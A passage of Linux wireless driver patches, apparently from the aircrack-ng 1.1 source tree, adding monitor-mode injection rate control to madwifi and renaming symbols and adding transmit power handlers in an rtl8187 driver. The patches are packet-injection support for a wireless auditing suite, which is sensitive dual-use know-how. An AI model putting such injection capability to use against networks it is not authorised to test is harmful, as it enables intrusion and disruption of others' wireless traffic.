-212,6 +212,8 @@ struct net_device *ic_wdsdev[IEEE80211_WDS_MAXNODES]; /* only wds traffic is allowed */ int ic_wdsonly; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) Only in ./net80211: ieee80211_var.h.orig diff -ur ../madwifi-cvs-20051025/net80211/ieee80211_wireless.c ./net80211/ieee80211_wireless.c --- ../madwifi-cvs-20051025/net80211/ieee80211_wireless.c 2005-10-18 06:27:01.000000000 +0200 +++ ./net80211/ieee80211_wireless.c 2005-10-25 15:13:24.000000000 +0200 @@ -476,6 +476,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -502,6 +514,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -942,6 +959,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M CCK */ break; #endif default: aircrack-ng-1.1/patches/old/rtl8187_2.6.20v2.patch0000644000000000000000000056123610761053203017700 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-03-05 00:31:41.255175682 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_txpower/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_93cx6.c 2007-03-05 00:31:37.815123790 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-03-05 00:31:41.295176286 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_txpower/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.c 2007-03-05 00:31:37.935125600 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-03-05 00:31:41.435178397 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-03-05 00:31:38.025126958 +0100 @@ -129,7 +129,7 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 mode = priv->ieee80211->mode; @@ -153,7 +153,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -280,7 +280,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -396,7 +396,7 @@ #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int GainIdx; // int GainSetting; @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; @@ -489,9 +492,9 @@ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225z2_SetTXPowerLevel(dev, ch); @@ -509,7 +512,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -581,7 +584,7 @@ #endif void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; @@ -958,7 +961,7 @@ void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->ieee80211->mode == IEEE_A) { diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-03-05 00:31:38.045127259 +0100 @@ -21,6 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 @@ -32,9 +33,9 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -46,7 +47,7 @@ int *parms = (int *)b; int bi = parms[0]; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); @@ -62,7 +63,7 @@ static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; priv->ieee80211->force_associate = (parms[0] > 0); @@ -75,9 +76,9 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } @@ -86,8 +87,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -97,27 +98,83 @@ union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); + + up(&priv->wx_sem); + + return ret; +} + +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: up(&priv->wx_sem); return ret; } +#endif static int r8180_wx_set_rawtx(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); + ret = ieee80211_wx_set_rawtx_rtl7(priv->ieee80211, info, wrqu, extra); up(&priv->wx_sem); @@ -129,7 +186,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; @@ -157,12 +214,12 @@ static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); rtl8187_set_rxconf(dev); @@ -176,7 +233,7 @@ union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -247,7 +304,7 @@ // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { @@ -267,14 +324,14 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -286,13 +343,13 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); @@ -304,13 +361,13 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -322,11 +379,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); @@ -338,11 +395,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); return ret; @@ -352,8 +409,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } @@ -361,7 +418,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -381,7 +438,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = 